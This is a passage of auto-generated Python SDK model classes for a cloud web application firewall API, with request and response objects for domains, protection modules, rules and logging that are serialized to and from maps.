DescribeProtectionModuleRulesResponseBody(TeaModel):\n def __init__(self, total_count=None, request_id=None, rules=None):\n self.total_count = total_count # type: int\n self.request_id = request_id # type: str\n self.rules = rules # type: list[DescribeProtectionModuleRulesResponseBodyRules]\n\n def validate(self):\n if self.rules:\n for k in self.rules:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Rules'] = []\n if self.rules is not None:\n for k in self.rules:\n result['Rules'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.rules = []\n if m.get('Rules') is not None:\n for k in m.get('Rules'):\n temp_model = DescribeProtectionModuleRulesResponseBodyRules()\n self.rules.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeProtectionModuleRulesResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeProtectionModuleRulesResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleRulesResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleRulesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeProtectionModuleStatusRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeProtectionModuleStatusResponseBody(TeaModel):\n def __init__(self, request_id=None, module_status=None):\n self.request_id = request_id # type: str\n self.module_status = module_status # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n return self\n\n\nclass DescribeProtectionModuleStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeProtectionModuleStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeWafSourceIpSegmentRequest(TeaModel):\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponseBody(TeaModel):\n def __init__(self, request_id=None, ip_v6s=None, ips=None):\n self.request_id = request_id # type: str\n self.ip_v6s = ip_v6s # type: str\n self.ips = ips # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.ip_v6s is not None:\n result['IpV6s'] = self.ip_v6s\n if self.ips is not None:\n result['Ips'] = self.ips\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('IpV6s') is not None:\n self.ip_v6s = m.get('IpV6s')\n if m.get('Ips') is not None:\n self.ips = m.get('Ips')\n return self\n\n\nclass DescribeWafSourceIpSegmentResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeWafSourceIpSegmentResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeWafSourceIpSegmentResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeWafSourceIpSegmentResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None, source_ips=None, load_balancing=None, http_port=None,\n https_port=None, http_2port=None, https_redirect=None, http_to_user_ip=None, is_access_product=None,\n log_headers=None, cluster_type=None, connection_time=None, read_time=None, write_time=None, access_type=None,\n cloud_native_instances=None, ip_follow_status=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n self.source_ips = source_ips # type: str\n self.load_balancing = load_balancing # type: int\n self.http_port = http_port # type: str\n self.https_port = https_port # type: str\n self.http_2port = http_2port # type: str\n self.https_redirect = https_redirect # type: int\n self.http_to_user_ip = http_to_user_ip # type: int\n self.is_access_product = is_access_product # type: int\n self.log_headers = log_headers # type: str\n self.cluster_type = cluster_type # type: int\n self.connection_time = connection_time # type: int\n self.read_time = read_time # type: int\n self.write_time = write_time # type: int\n self.access_type = access_type # type: str\n self.cloud_native_instances = cloud_native_instances # type: str\n self.ip_follow_status = ip_follow_status # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.log_headers is not None:\n result['LogHeaders'] = self.log_headers\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_instances is not None:\n result['CloudNativeInstances'] = self.cloud_native_instances\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('LogHeaders') is not None:\n self.log_headers = m.get('LogHeaders')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeInstances') is not None:\n self.cloud_native_instances = m.get('CloudNativeInstances')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n return self\n\n\nclass ModifyDomainResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyDomainResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyDomainIpv6StatusRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n self.enabled = enabled # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyDomainIpv6StatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyDomainIpv6StatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyDomainIpv6StatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyDomainIpv6StatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyDomainIpv6StatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogRetrievalStatusRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n self.enabled = enabled # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogRetrievalStatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogRetrievalStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyLogRetrievalStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogRetrievalStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogRetrievalStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyLogServiceStatusRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None, enabled=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n self.enabled = enabled # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.enabled is not None:\n result['Enabled'] = self.enabled\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Enabled') is not None:\n self.enabled = m.get('Enabled')\n return self\n\n\nclass ModifyLogServiceStatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyLogServiceStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyLogServiceStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyLogServiceStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyLogServiceStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleModeRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, mode=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.mode = mode # type: int\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.mode is not None:\n result['Mode'] = self.mode\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Mode') is not None:\n self.mode = m.get('Mode')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleModeResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleModeResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyProtectionModuleModeResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleModeResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleModeResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleRuleRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, rule=None, rule_id=None, lock_version=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.rule = rule # type: str\n self.rule_id = rule_id # type: long\n self.lock_version = lock_version # type: long\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule is not None:\n result['Rule'] = self.rule\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('Rule') is not None:\n self.rule = m.get('Rule')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleRuleResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyProtectionModuleRuleResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleRuleResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionModuleStatusRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, module_status=None, instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.module_status = module_status # type: int\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.module_status is not None:\n result['ModuleStatus'] = self.module_status\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('ModuleStatus') is not None:\n self.module_status = m.get('ModuleStatus')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionModuleStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyProtectionModuleStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionModuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionModuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleCacheStatusRequest(TeaModel):\n def __init__(self, domain=None, rule_id=None, defense_type=None, instance_id=None):\n self.domain = domain # type: str\n self.rule_id = rule_id # type: long\n self.defense_type = defense_type # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleCacheStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyProtectionRuleCacheStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleCacheStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleCacheStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass ModifyProtectionRuleStatusRequest(TeaModel):\n def __init__(self, domain=None, defense_type=None, rule_id=None, rule_status=None, lock_version=None,\n instance_id=None):\n self.domain = domain # type: str\n self.defense_type = defense_type # type: str\n self.rule_id = rule_id # type: long\n self.rule_status = rule_status # type: int\n self.lock_version = lock_version # type: long\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.defense_type is not None:\n result['DefenseType'] = self.defense_type\n if self.rule_id is not None:\n result['RuleId'] = self.rule_id\n if self.rule_status is not None:\n result['RuleStatus'] = self.rule_status\n if self.lock_version is not None:\n result['LockVersion'] = self.lock_version\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('DefenseType') is not None:\n self.defense_type = m.get('DefenseType')\n if m.get('RuleId') is not None:\n self.rule_id = m.get('RuleId')\n if m.get('RuleStatus') is not None:\n self.rule_status = m.get('RuleStatus')\n if m.get('LockVersion') is not None:\n self.lock_version = m.get('LockVersion')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponseBody(TeaModel):\n def __init__(self, request_id=None):\n self.request_id = request_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass ModifyProtectionRuleStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: ModifyProtectionRuleStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(ModifyProtectionRuleStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = ModifyProtectionRuleStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass SetDomainRuleGroupRequest(TeaModel):\n def __init__(self, domains=None, rule_group_id=None, waf_version=None, instance_id=None, resource_group_id=None):\n self.domains = domains # type: str\n self.rule_group_id = rule_group_id # type: long\n self.waf_version = waf_version # type: long\n self.instance_id = instance_id # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(SetDomainRuleGroupRequest, self).to_map()\n if _map is not 